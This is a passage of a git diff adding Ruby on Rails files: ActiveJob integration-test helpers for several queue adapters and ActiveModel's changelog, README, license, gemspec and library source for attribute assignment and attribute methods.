+  def stop_workers
+    if @pid
+      Process.kill "TERM", @pid
+      Process.wait @pid
+    end
+  end
+
+  def can_run?
+    begin
+      Sidekiq.redis(&:info)
+      Sidekiq.logger = nil
+    rescue
+      return false
+    end
+    true
+  end
+end
diff --git a/activejob/test/support/integration/adapters/sneakers.rb b/activejob/test/support/integration/adapters/sneakers.rb
new file mode 100644
index 0000000000..965e6e2e6c
--- /dev/null
+++ b/activejob/test/support/integration/adapters/sneakers.rb
@@ -0,0 +1,90 @@
+# frozen_string_literal: true
+
+require "sneakers/runner"
+require "sneakers/publisher"
+require "timeout"
+
+module Sneakers
+  class Publisher
+    def safe_ensure_connected
+      @mutex.synchronize do
+        ensure_connection! unless connected?
+      end
+    end
+  end
+end
+
+module SneakersJobsManager
+  def setup
+    ActiveJob::Base.queue_adapter = :sneakers
+    Sneakers.configure  heartbeat: 2,
+                        amqp: "amqp://guest:guest@localhost:5672",
+                        vhost: "/",
+                        exchange: "active_jobs_sneakers_int_test",
+                        exchange_type: :direct,
+                        daemonize: true,
+                        threads: 1,
+                        workers: 1,
+                        pid_path: Rails.root.join("tmp/sneakers.pid").to_s,
+                        log: Rails.root.join("log/sneakers.log").to_s
+    unless can_run?
+      puts "Cannot run integration tests for sneakers. To be able to run integration tests for sneakers you need to install and start rabbitmq.\n"
+      exit
+    end
+  end
+
+  def clear_jobs
+    bunny_queue.purge
+  end
+
+  def start_workers
+    @pid = fork do
+      queues = %w(integration_tests)
+      workers = queues.map do |q|
+        worker_klass = "ActiveJobWorker" + Digest::MD5.hexdigest(q)
+        Sneakers.const_set(worker_klass, Class.new(ActiveJob::QueueAdapters::SneakersAdapter::JobWrapper) do
+          from_queue q
+        end)
+      end
+      Sneakers::Runner.new(workers).run
+    end
+    begin
+      Timeout.timeout(10) do
+        while bunny_queue.status[:consumer_count] == 0
+          sleep 0.5
+        end
+      end
+    rescue Timeout::Error
+      stop_workers
+      raise "Failed to start sneakers worker"
+    end
+  end
+
+  def stop_workers
+    Process.kill "TERM", @pid
+    Process.kill "TERM", File.open(Rails.root.join("tmp/sneakers.pid").to_s).read.to_i
+  rescue
+  end
+
+  def can_run?
+    begin
+      bunny_publisher
+    rescue
+      return false
+    end
+    true
+  end
+
+  private
+    def bunny_publisher
+      @bunny_publisher ||= begin
+        p = ActiveJob::QueueAdapters::SneakersAdapter::JobWrapper.send(:publisher)
+        p.safe_ensure_connected
+        p
+      end
+    end
+
+    def bunny_queue
+      @queue ||= bunny_publisher.exchange.channel.queue "integration_tests", durable: true
+    end
+end
diff --git a/activejob/test/support/integration/adapters/sucker_punch.rb b/activejob/test/support/integration/adapters/sucker_punch.rb
new file mode 100644
index 0000000000..099d412c8f
--- /dev/null
+++ b/activejob/test/support/integration/adapters/sucker_punch.rb
@@ -0,0 +1,8 @@
+# frozen_string_literal: true
+
+module SuckerPunchJobsManager
+  def setup
+    ActiveJob::Base.queue_adapter = :sucker_punch
+    SuckerPunch.logger = nil
+  end
+end
diff --git a/activejob/test/support/integration/dummy_app_template.rb b/activejob/test/support/integration/dummy_app_template.rb
new file mode 100644
index 0000000000..ac382bd1b7
--- /dev/null
+++ b/activejob/test/support/integration/dummy_app_template.rb
@@ -0,0 +1,32 @@
+# frozen_string_literal: true
+
+if ENV["AJ_ADAPTER"] == "delayed_job"
+  generate "delayed_job:active_record", "--quiet"
+end
+
+rails_command("db:migrate")
+
+initializer "activejob.rb", <<-CODE
+require "#{File.expand_path("jobs_manager.rb",  __dir__)}"
+JobsManager.current_manager.setup
+CODE
+
+initializer "i18n.rb", <<-CODE
+I18n.available_locales = [:en, :de]
+CODE
+
+file "app/jobs/test_job.rb", <<-CODE
+class TestJob < ActiveJob::Base
+  queue_as :integration_tests
+
+  def perform(x)
+    File.open(Rails.root.join("tmp/\#{x}.new"), "wb+") do |f|
+      f.write Marshal.dump({
+        "locale" => I18n.locale.to_s || "en",
+        "executed_at" => Time.now.to_r
+      })
+    end
+    File.rename(Rails.root.join("tmp/\#{x}.new"), Rails.root.join("tmp/\#{x}"))
+  end
+end
+CODE
diff --git a/activejob/test/support/integration/helper.rb b/activejob/test/support/integration/helper.rb
new file mode 100644
index 0000000000..a058da141f
--- /dev/null
+++ b/activejob/test/support/integration/helper.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+puts "\n\n*** rake aj:integration:#{ENV['AJ_ADAPTER']} ***\n"
+
+ENV["RAILS_ENV"] = "test"
+ActiveJob::Base.queue_name_prefix = nil
+
+require "rails/generators/rails/app/app_generator"
+
+require "tmpdir"
+dummy_app_path     = Dir.mktmpdir + "/dummy"
+dummy_app_template = File.expand_path("dummy_app_template.rb",  __dir__)
+args = Rails::Generators::ARGVScrubber.new(["new", dummy_app_path, "--skip-gemfile", "--skip-bundle",
+  "--skip-git", "--skip-spring", "-d", "sqlite3", "--skip-javascript", "--force", "--quiet",
+  "--template", dummy_app_template]).prepare!
+Rails::Generators::AppGenerator.start args
+
+require "#{dummy_app_path}/config/environment.rb"
+
+ActiveRecord::Migrator.migrations_paths = [ Rails.root.join("db/migrate").to_s ]
+require "rails/test_help"
+
+Rails.backtrace_cleaner.remove_silencers!
+
+require_relative "test_case_helpers"
+ActiveSupport::TestCase.include(TestCaseHelpers)
+
+JobsManager.current_manager.start_workers
+
+Minitest.after_run do
+  JobsManager.current_manager.stop_workers
+  JobsManager.current_manager.clear_jobs
+end
diff --git a/activejob/test/support/integration/jobs_manager.rb b/activejob/test/support/integration/jobs_manager.rb
new file mode 100644
index 0000000000..4775f52b2f
--- /dev/null
+++ b/activejob/test/support/integration/jobs_manager.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+class JobsManager
+  @@managers = {}
+  attr :adapter_name
+
+  def self.current_manager
+    @@managers[ENV["AJ_ADAPTER"]] ||= new(ENV["AJ_ADAPTER"])
+  end
+
+  def initialize(adapter_name)
+    @adapter_name = adapter_name
+    require_relative "adapters/#{adapter_name}"
+    extend "#{adapter_name.camelize}JobsManager".constantize
+  end
+
+  def setup
+    ActiveJob::Base.queue_adapter = nil
+  end
+
+  def clear_jobs
+  end
+
+  def start_workers
+  end
+
+  def stop_workers
+  end
+end
diff --git a/activejob/test/support/integration/test_case_helpers.rb b/activejob/test/support/integration/test_case_helpers.rb
new file mode 100644
index 0000000000..9629876a6d
--- /dev/null
+++ b/activejob/test/support/integration/test_case_helpers.rb
@@ -0,0 +1,67 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/string/inflections"
+require "support/integration/jobs_manager"
+
+module TestCaseHelpers
+  extend ActiveSupport::Concern
+
+  included do
+    self.use_transactional_tests = false
+
+    setup do
+      clear_jobs
+      @id = "AJ-#{SecureRandom.uuid}"
+    end
+
+    teardown do
+      clear_jobs
+    end
+  end
+
+  private
+
+    def jobs_manager
+      JobsManager.current_manager
+    end
+
+    def clear_jobs
+      jobs_manager.clear_jobs
+    end
+
+    def adapter_is?(*adapter_class_symbols)
+      adapter = ActiveJob::Base.queue_adapter.class.name.demodulize.chomp("Adapter").underscore
+      adapter_class_symbols.map(&:to_s).include? adapter
+    end
+
+    def wait_for_jobs_to_finish_for(seconds = 60)
+      begin
+        Timeout.timeout(seconds) do
+          while !job_executed do
+            sleep 0.25
+          end
+        end
+      rescue Timeout::Error
+      end
+    end
+
+    def job_file(id)
+      Dummy::Application.root.join("tmp/#{id}")
+    end
+
+    def job_executed(id = @id)
+      job_file(id).exist?
+    end
+
+    def job_data(id)
+      Marshal.load(File.binread(job_file(id)))
+    end
+
+    def job_executed_at(id = @id)
+      job_data(id)["executed_at"]
+    end
+
+    def job_executed_in_locale(id = @id)
+      job_data(id)["locale"]
+    end
+end
diff --git a/activejob/test/support/job_buffer.rb b/activejob/test/support/job_buffer.rb
new file mode 100644
index 0000000000..45a6437685
--- /dev/null
+++ b/activejob/test/support/job_buffer.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+module JobBuffer
+  class << self
+    def clear
+      values.clear
+    end
+
+    def add(value)
+      values << value
+    end
+
+    def values
+      @values ||= []
+    end
+
+    def last_value
+      values.last
+    end
+  end
+end
diff --git a/activejob/test/support/que/inline.rb b/activejob/test/support/que/inline.rb
new file mode 100644
index 0000000000..4ca65c1cd4
--- /dev/null
+++ b/activejob/test/support/que/inline.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+require "que"
+
+Que::Job.class_eval do
+  class << self; alias_method :original_enqueue, :enqueue; end
+  def self.enqueue(*args)
+    if args.last.is_a?(Hash)
+      options = args.pop
+      options.delete(:run_at)
+      options.delete(:priority)
+      args << options unless options.empty?
+    end
+    run(*args)
+  end
+end
diff --git a/activejob/test/support/queue_classic/inline.rb b/activejob/test/support/queue_classic/inline.rb
new file mode 100644
index 0000000000..ca3cd4581b
--- /dev/null
+++ b/activejob/test/support/queue_classic/inline.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+require "queue_classic"
+
+module QC
+  class Queue
+    def enqueue(method, *args)
+      receiver_str, _, message = method.rpartition(".")
+      receiver = eval(receiver_str)
+      receiver.send(message, *args)
+    end
+
+    def enqueue_in(seconds, method, *args)
+      receiver_str, _, message = method.rpartition(".")
+      receiver = eval(receiver_str)
+      receiver.send(message, *args)
+    end
+
+    def enqueue_at(not_before, method, *args)
+      receiver_str, _, message = method.rpartition(".")
+      receiver = eval(receiver_str)
+      receiver.send(message, *args)
+    end
+  end
+end
diff --git a/activejob/test/support/sneakers/inline.rb b/activejob/test/support/sneakers/inline.rb
new file mode 100644
index 0000000000..92b69ee3bc
--- /dev/null
+++ b/activejob/test/support/sneakers/inline.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+require "sneakers"
+
+module Sneakers
+  module Worker
+    module ClassMethods
+      def enqueue(msg)
+        worker = new(nil, nil, {})
+        worker.work(*msg)
+      end
+    end
+  end
+end
diff --git a/activemodel/CHANGELOG.md b/activemodel/CHANGELOG.md
new file mode 100644
index 0000000000..048c43f2c4
--- /dev/null
+++ b/activemodel/CHANGELOG.md
@@ -0,0 +1,41 @@
+*   Add method `#merge!` for `ActiveModel::Errors`.
+
+    *Jahfer Husain*
+
+*   Fix regression in numericality validator when comparing Decimal and Float input
+    values with more scale than the schema.
+
+    *Bradley Priest*
+
+*   Fix methods `#keys`, `#values` in `ActiveModel::Errors`.
+
+    Change `#keys` to only return the keys that don't have empty messages.
+
+    Change `#values` to only return the not empty values.
+
+    Example:
+
+        # Before
+        person = Person.new
+        person.errors.keys     # => []
+        person.errors.values   # => []
+        person.errors.messages # => {}
+        person.errors[:name]   # => []
+        person.errors.messages # => {:name => []}
+        person.errors.keys     # => [:name]
+        person.errors.values   # => [[]]
+
+        # After
+        person = Person.new
+        person.errors.keys     # => []
+        person.errors.values   # => []
+        person.errors.messages # => {}
+        person.errors[:name]   # => []
+        person.errors.messages # => {:name => []}
+        person.errors.keys     # => []
+        person.errors.values   # => []
+
+    *bogdanvlviv*
+
+
+Please check [5-1-stable](https://github.com/rails/rails/blob/5-1-stable/activemodel/CHANGELOG.md) for previous changes.
diff --git a/activemodel/MIT-LICENSE b/activemodel/MIT-LICENSE
new file mode 100644
index 0000000000..ac810e86d0
--- /dev/null
+++ b/activemodel/MIT-LICENSE
@@ -0,0 +1,21 @@
+Copyright (c) 2004-2017 David Heinemeier Hansson
+
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of this software and associated documentation files (the
+"Software"), to deal in the Software without restriction, including
+without limitation the rights to use, copy, modify, merge, publish,
+distribute, sublicense, and/or sell copies of the Software, and to
+permit persons to whom the Software is furnished to do so, subject to
+the following conditions:
+
+The above copyright notice and this permission notice shall be
+included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
diff --git a/activemodel/README.rdoc b/activemodel/README.rdoc
new file mode 100644
index 0000000000..77f5761993
--- /dev/null
+++ b/activemodel/README.rdoc
@@ -0,0 +1,264 @@
+= Active Model -- model interfaces for Rails
+
+Active Model provides a known set of interfaces for usage in model classes.
+They allow for Action Pack helpers to interact with non-Active Record models,
+for example. Active Model also helps with building custom ORMs for use outside of
+the Rails framework.
+
+Prior to Rails 3.0, if a plugin or gem developer wanted to have an object
+interact with Action Pack helpers, it was required to either copy chunks of
+code from Rails, or monkey patch entire helpers to make them handle objects
+that did not exactly conform to the Active Record interface. This would result
+in code duplication and fragile applications that broke on upgrades. Active
+Model solves this by defining an explicit API. You can read more about the
+API in <tt>ActiveModel::Lint::Tests</tt>.
+
+Active Model provides a default module that implements the basic API required
+to integrate with Action Pack out of the box: <tt>ActiveModel::Model</tt>.
+
+    class Person
+      include ActiveModel::Model
+
+      attr_accessor :name, :age
+      validates_presence_of :name
+    end
+
+    person = Person.new(name: 'bob', age: '18')
+    person.name   # => 'bob'
+    person.age    # => '18'
+    person.valid? # => true
+
+It includes model name introspections, conversions, translations and
+validations, resulting in a class suitable to be used with Action Pack.
+See <tt>ActiveModel::Model</tt> for more examples.
+
+Active Model also provides the following functionality to have ORM-like
+behavior out of the box:
+
+* Add attribute magic to objects
+
+    class Person
+      include ActiveModel::AttributeMethods
+
+      attribute_method_prefix 'clear_'
+      define_attribute_methods :name, :age
+
+      attr_accessor :name, :age
+
+      def clear_attribute(attr)
+        send("#{attr}=", nil)
+      end
+    end
+
+    person = Person.new
+    person.clear_name
+    person.clear_age
+
+  {Learn more}[link:classes/ActiveModel/AttributeMethods.html]
+
+* Callbacks for certain operations
+
+    class Person
+      extend ActiveModel::Callbacks
+      define_model_callbacks :create
+
+      def create
+        run_callbacks :create do
+          # Your create action methods here
+        end
+      end
+    end
+
+  This generates +before_create+, +around_create+ and +after_create+
+  class methods that wrap your create method.
+
+  {Learn more}[link:classes/ActiveModel/Callbacks.html]
+
+* Tracking value changes
+
+    class Person
+      include ActiveModel::Dirty
+
+      define_attribute_methods :name
+
+      def name
+        @name
+      end
+
+      def name=(val)
+        name_will_change! unless val == @name
+        @name = val
+      end
+
+      def save
+        # do persistence work
+        changes_applied
+      end
+    end
+
+    person = Person.new
+    person.name             # => nil
+    person.changed?         # => false
+    person.name = 'bob'
+    person.changed?         # => true
+    person.changed          # => ['name']
+    person.changes          # => { 'name' => [nil, 'bob'] }
+    person.save
+    person.name = 'robert'
+    person.save
+    person.previous_changes # => {'name' => ['bob, 'robert']}
+
+  {Learn more}[link:classes/ActiveModel/Dirty.html]
+
+* Adding +errors+ interface to objects
+
+  Exposing error messages allows objects to interact with Action Pack
+  helpers seamlessly.
+
+    class Person
+
+      def initialize
+        @errors = ActiveModel::Errors.new(self)
+      end
+
+      attr_accessor :name
+      attr_reader   :errors
+
+      def validate!
+        errors.add(:name, "cannot be nil") if name.nil?
+      end
+
+      def self.human_attribute_name(attr, options = {})
+        "Name"
+      end
+    end
+
+    person = Person.new
+    person.name = nil
+    person.validate!
+    person.errors.full_messages
+    # => ["Name cannot be nil"]
+
+  {Learn more}[link:classes/ActiveModel/Errors.html]
+
+* Model name introspection
+
+    class NamedPerson
+      extend ActiveModel::Naming
+    end
+
+    NamedPerson.model_name.name   # => "NamedPerson"
+    NamedPerson.model_name.human  # => "Named person"
+
+  {Learn more}[link:classes/ActiveModel/Naming.html]
+
+* Making objects serializable
+
+  <tt>ActiveModel::Serialization</tt> provides a standard interface for your object
+  to provide +to_json+ serialization.
+
+    class SerialPerson
+      include ActiveModel::Serialization
+
+      attr_accessor :name
+
+      def attributes
+        {'name' => name}
+      end
+    end
+
+    s = SerialPerson.new
+    s.serializable_hash   # => {"name"=>nil}
+
+    class SerialPerson
+      include ActiveModel::Serializers::JSON
+    end
+
+    s = SerialPerson.new
+    s.to_json             # => "{\"name\":null}"
+
+  {Learn more}[link:classes/ActiveModel/Serialization.html]
+
+* Internationalization (i18n) support
+
+    class Person
+      extend ActiveModel::Translation
+    end
+
+    Person.human_attribute_name('my_attribute')
+    # => "My attribute"
+
+  {Learn more}[link:classes/ActiveModel/Translation.html]
+
+* Validation support
+
+    class Person
+      include ActiveModel::Validations
+
+      attr_accessor :first_name, :last_name
+
+      validates_each :first_name, :last_name do |record, attr, value|
+        record.errors.add attr, 'starts with z.' if value.to_s[0] == ?z
+      end
+    end
+
+    person = Person.new
+    person.first_name = 'zoolander'
+    person.valid?  # => false
+
+  {Learn more}[link:classes/ActiveModel/Validations.html]
+
+* Custom validators
+
+    class HasNameValidator < ActiveModel::Validator
+      def validate(record)
+        record.errors.add(:name, "must exist") if record.name.blank?
+      end
+    end
+
+    class ValidatorPerson
+      include ActiveModel::Validations
+      validates_with HasNameValidator
+      attr_accessor :name
+    end
+
+    p = ValidatorPerson.new
+    p.valid?                  # =>  false
+    p.errors.full_messages    # => ["Name must exist"]
+    p.name = "Bob"
+    p.valid?                  # =>  true
+
+  {Learn more}[link:classes/ActiveModel/Validator.html]
+
+
+== Download and installation
+
+The latest version of Active Model can be installed with RubyGems:
+
+  $ gem install activemodel
+
+Source code can be downloaded as part of the Rails project on GitHub
+
+* https://github.com/rails/rails/tree/master/activemodel
+
+
+== License
+
+Active Model is released under the MIT license:
+
+* http://www.opensource.org/licenses/MIT
+
+
+== Support
+
+API documentation is at
+
+* http://api.rubyonrails.org
+
+Bug reports can be filed for the Ruby on Rails project here:
+
+* https://github.com/rails/rails/issues
+
+Feature requests should be discussed on the rails-core mailing list here:
+
+* https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core
diff --git a/activemodel/Rakefile b/activemodel/Rakefile
new file mode 100644
index 0000000000..d39f50a962
--- /dev/null
+++ b/activemodel/Rakefile
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+require "rake/testtask"
+
+task default: :test
+
+task :package
+
+Rake::TestTask.new do |t|
+  t.libs << "test"
+  t.test_files = Dir.glob("#{__dir__}/test/cases/**/*_test.rb")
+  t.warning = true
+  t.verbose = true
+  t.ruby_opts = ["--dev"] if defined?(JRUBY_VERSION)
+end
+
+namespace :test do
+  task :isolated do
+    Dir.glob("#{__dir__}/test/**/*_test.rb").all? do |file|
+      sh(Gem.ruby, "-w", "-I#{__dir__}/lib", "-I#{__dir__}/test", file)
+    end || raise("Failures")
+  end
+end
diff --git a/activemodel/activemodel.gemspec b/activemodel/activemodel.gemspec
new file mode 100644
index 0000000000..a070a2898c
--- /dev/null
+++ b/activemodel/activemodel.gemspec
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+version = File.read(File.expand_path("../RAILS_VERSION", __dir__)).strip
+
+Gem::Specification.new do |s|
+  s.platform    = Gem::Platform::RUBY
+  s.name        = "activemodel"
+  s.version     = version
+  s.summary     = "A toolkit for building modeling frameworks (part of Rails)."
+  s.description = "A toolkit for building modeling frameworks like Active Record. Rich support for attributes, callbacks, validations, serialization, internationalization, and testing."
+
+  s.required_ruby_version = ">= 2.2.2"
+
+  s.license = "MIT"
+
+  s.author   = "David Heinemeier Hansson"
+  s.email    = "david@loudthinking.com"
+  s.homepage = "http://rubyonrails.org"
+
+  s.files        = Dir["CHANGELOG.md", "MIT-LICENSE", "README.rdoc", "lib/**/*"]
+  s.require_path = "lib"
+
+  s.metadata = {
+    "source_code_uri" => "https://github.com/rails/rails/tree/v#{version}/activemodel",
+    "changelog_uri"   => "https://github.com/rails/rails/blob/v#{version}/activemodel/CHANGELOG.md"
+  }
+
+  s.add_dependency "activesupport", version
+end
diff --git a/activemodel/bin/test b/activemodel/bin/test
new file mode 100755
index 0000000000..c53377cc97
--- /dev/null
+++ b/activemodel/bin/test
@@ -0,0 +1,5 @@
+#!/usr/bin/env ruby
+# frozen_string_literal: true
+
+COMPONENT_ROOT = File.expand_path("..", __dir__)
+require_relative "../../tools/test"
diff --git a/activemodel/lib/active_model.rb b/activemodel/lib/active_model.rb
new file mode 100644
index 0000000000..dfd9be34a9
--- /dev/null
+++ b/activemodel/lib/active_model.rb
@@ -0,0 +1,74 @@
+# frozen_string_literal: true
+
+#--
+# Copyright (c) 2004-2017 David Heinemeier Hansson
+#
+# Permission is hereby granted, free of charge, to any person obtaining
+# a copy of this software and associated documentation files (the
+# "Software"), to deal in the Software without restriction, including
+# without limitation the rights to use, copy, modify, merge, publish,
+# distribute, sublicense, and/or sell copies of the Software, and to
+# permit persons to whom the Software is furnished to do so, subject to
+# the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+#++
+
+require "active_support"
+require "active_support/rails"
+require_relative "active_model/version"
+
+module ActiveModel
+  extend ActiveSupport::Autoload
+
+  autoload :AttributeAssignment
+  autoload :AttributeMethods
+  autoload :BlockValidator, "active_model/validator"
+  autoload :Callbacks
+  autoload :Conversion
+  autoload :Dirty
+  autoload :EachValidator, "active_model/validator"
+  autoload :ForbiddenAttributesProtection
+  autoload :Lint
+  autoload :Model
+  autoload :Name, "active_model/naming"
+  autoload :Naming
+  autoload :SecurePassword
+  autoload :Serialization
+  autoload :Translation
+  autoload :Validations
+  autoload :Validator
+
+  eager_autoload do
+    autoload :Errors
+    autoload :RangeError, "active_model/errors"
+    autoload :StrictValidationFailed, "active_model/errors"
+    autoload :UnknownAttributeError, "active_model/errors"
+  end
+
+  module Serializers
+    extend ActiveSupport::Autoload
+
+    eager_autoload do
+      autoload :JSON
+    end
+  end
+
+  def self.eager_load!
+    super
+    ActiveModel::Serializers.eager_load!
+  end
+end
+
+ActiveSupport.on_load(:i18n) do
+  I18n.load_path << File.expand_path("active_model/locale/en.yml", __dir__)
+end
diff --git a/activemodel/lib/active_model/attribute_assignment.rb b/activemodel/lib/active_model/attribute_assignment.rb
new file mode 100644
index 0000000000..aa931119ff
--- /dev/null
+++ b/activemodel/lib/active_model/attribute_assignment.rb
@@ -0,0 +1,55 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/hash/keys"
+
+module ActiveModel
+  module AttributeAssignment
+    include ActiveModel::ForbiddenAttributesProtection
+
+    # Allows you to set all the attributes by passing in a hash of attributes with
+    # keys matching the attribute names.
+    #
+    # If the passed hash responds to <tt>permitted?</tt> method and the return value
+    # of this method is +false+ an <tt>ActiveModel::ForbiddenAttributesError</tt>
+    # exception is raised.
+    #
+    #   class Cat
+    #     include ActiveModel::AttributeAssignment
+    #     attr_accessor :name, :status
+    #   end
+    #
+    #   cat = Cat.new
+    #   cat.assign_attributes(name: "Gorby", status: "yawning")
+    #   cat.name # => 'Gorby'
+    #   cat.status # => 'yawning'
+    #   cat.assign_attributes(status: "sleeping")
+    #   cat.name # => 'Gorby'
+    #   cat.status # => 'sleeping'
+    def assign_attributes(new_attributes)
+      if !new_attributes.respond_to?(:stringify_keys)
+        raise ArgumentError, "When assigning attributes, you must pass a hash as an argument."
+      end
+      return if new_attributes.empty?
+
+      attributes = new_attributes.stringify_keys
+      _assign_attributes(sanitize_for_mass_assignment(attributes))
+    end
+
+    private
+
+      def _assign_attributes(attributes)
+        attributes.each do |k, v|
+          _assign_attribute(k, v)
+        end
+      end
+
+      def _assign_attribute(k, v)
+        setter = :"#{k}="
+        if respond_to?(setter)
+          public_send(setter, v)
+        else
+          raise UnknownAttributeError.new(self, k)
+        end
+      end
+  end
+end
diff --git a/activemodel/lib/active_model/attribute_methods.rb b/activemodel/lib/active_model/attribute_methods.rb
new file mode 100644
index 0000000000..888a431e5f
--- /dev/null
+++ b/activemodel/lib/active_model/attribute_methods.rb
@@ -0,0 +1,478 @@
+# frozen_string_literal: true
+
+require "concurrent/map"
+
+module ActiveModel
+  # Raised when an attribute is not defined.
+  #
+  #   class User < ActiveRecord::Base
+  #     has_many :pets
+  #   end
+  #
+  #   user = User.first
+  #   user.pets.select(:id).first.user_id
+  #   # => ActiveModel::MissingAttributeError: missing attribute: user_id
+  class MissingAttributeError < NoMethodError
+  end
+
+  # == Active \Model \Attribute \Methods
+  #
+  # Provides a way to add prefixes and suffixes to your methods as
+  # well as handling the creation of <tt>ActiveRecord::Base</tt>-like
+  # class methods such as +table_name+.
+  #
+  # The requirements to implement <tt>ActiveModel::AttributeMethods</tt> are to:
+  #
+  # * <tt>include ActiveModel::AttributeMethods</tt> in your class.
+  # * Call each of its methods you want to add, such as +attribute_method_suffix+
+  #   or +attribute_method_prefix+.
+  # * Call +define_attribute_methods+ after the other methods are called.
+  # * Define the various generic +_attribute+ methods that you have declared.
+  # * Define an +attributes+ method which returns a hash with each
+  #   attribute name in your model as hash key and the attribute value as hash value.
+  #   Hash keys must be strings.
+  #
+  # A minimal implementation could be:
+  #
+  #   class Person
+  #     include ActiveModel::AttributeMethods
+  #
+  #     attribute_method_affix  prefix: 'reset_', suffix: '_to_default!'
+  #     attribute_method_suffix '_contrived?'
+  #     attribute_method_prefix 'clear_'
+  #     define_attribute_methods :name
+  #
+  #     attr_accessor :name
+  #
+  #     def attributes
+  #       { 'name' => @name }
+  #     end
+  #
+  #     private
+  #
+  #     def attribute_contrived?(attr)
+  #       true
+  #     end
+  #
+  #     def clear_attribute(attr)
+  #       send("#{attr}=", nil)
+  #     end
+  #
+  #     def reset_attribute_to_default!(attr)
+  #       send("#{attr}=", 'Default Name')
+  #     end
+  #   end
+  module AttributeMethods
+    extend ActiveSupport::Concern
+
+    NAME_COMPILABLE_REGEXP = /\A[a-zA-Z_]\w*[!?=]?\z/
+    CALL_COMPILABLE_REGEXP = /\A[a-zA-Z_]\w*[!?]?\z/
+
+    included do
+      class_attribute :attribute_aliases, instance_writer: false, default: {}
+      class_attribute :attribute_method_matchers, instance_writer: false, default: [ ClassMethods::AttributeMethodMatcher.new ]
+    end
+
+    module ClassMethods
+      # Declares a method available for all attributes with the given prefix.
+      # Uses +method_missing+ and <tt>respond_to?</tt> to rewrite the method.
+      #
+      #   #{prefix}#{attr}(*args, &block)
+      #
+      # to
+      #
+      #   #{prefix}attribute(#{attr}, *args, &block)
+      #
+      # An instance method <tt>#{prefix}attribute</tt> must exist and accept
+      # at least the +attr+ argument.
+      #
+      #   class Person
+      #     include ActiveModel::AttributeMethods
+      #
+      #     attr_accessor :name
+      #     attribute_method_prefix 'clear_'
+      #     define_attribute_methods :name
+      #
+      #     private
+      #
+      #     def clear_attribute(attr)
+      #       send("#{attr}=", nil)
+      #     end
+      #   end
+      #
+      #   person = Person.new
+      #   person.name = 'Bob'
+      #   person.name          # => "Bob"
+      #   person.clear_name
+      #   person.name          # => nil
+      def attribute_method_prefix(*prefixes)
+        self.attribute_method_matchers += prefixes.map! { |prefix| AttributeMethodMatcher.new prefix: prefix }
+        undefine_attribute_methods
+      end
+
+      # Declares a method available for all attributes with the given suffix.
+      # Uses +method_missing+ and <tt>respond_to?</tt> to rewrite the method.
+      #
+      #   #{attr}#{suffix}(*args, &block)
+      #
+      # to
+      #
+      #   attribute#{suffix}(#{attr}, *args, &block)
+      #
+      # An <tt>attribute#{suffix}</tt> instance method must exist and accept at
+      # least the +attr+ argument.
+      #
+      #   class Person
+      #     include ActiveModel::AttributeMethods
+      #
+      #     attr_accessor :name
+      #     attribute_method_suffix '_short?'
+      #     define_attribute_methods :name
+      #
+      #     private
+      #
+      #     def attribute_short?(attr)
+      #       send(attr).length < 5
+      #     end
+      #   end
+      #
+      #   person = Person.new
+      #   person.name = 'Bob'
+      #   person.name          # => "Bob"
+      #   person.name_short?   # => true
+      def attribute_method_suffix(*suffixes)
+        self.attribute_method_matchers += suffixes.map! { |suffix| AttributeMethodMatcher.new suffix: suffix }
+        undefine_attribute_methods
+      end
+
+      # Declares a method available for all attributes with the given prefix
+      # and suffix. Uses +method_missing+ and <tt>respond_to?</tt> to rewrite
+      # the method.
+      #
+      #   #{prefix}#{attr}#{suffix}(*args, &block)
+      #
+      # to
+      #
+      #   #{prefix}attribute#{suffix}(#{attr}, *args, &block)
+      #
+      # An <tt>#{prefix}attribute#{suffix}</tt> instance method must exist and
+      # accept at least the +attr+ argument.
+      #
+      #   class Person
+      #     include ActiveModel::AttributeMethods
+      #
+      #     attr_accessor :name
+      #     attribute_method_affix prefix: 'reset_', suffix: '_to_default!'
+      #     define_attribute_methods :name
+      #
+      #     private
+      #
+      #     def reset_attribute_to_default!(attr)
+      #       send("#{attr}=", 'Default Name')
+      #     end
+      #   end
+      #
+      #   person = Person.new
+      #   person.name                         # => 'Gem'
+      #   person.reset_name_to_default!
+      #   person.name                         # => 'Default Name'
+      def attribute_method_affix(*affixes)
+        self.attribute_method_matchers += affixes.map! { |affix| AttributeMethodMatcher.new prefix: affix[:prefix], suffix: affix[:suffix] }
+        undefine_attribute_methods
+      end
+
+      # Allows you to make aliases for attributes.
+      #
+      #   class Person
+      #     include ActiveModel::AttributeMethods
+      #
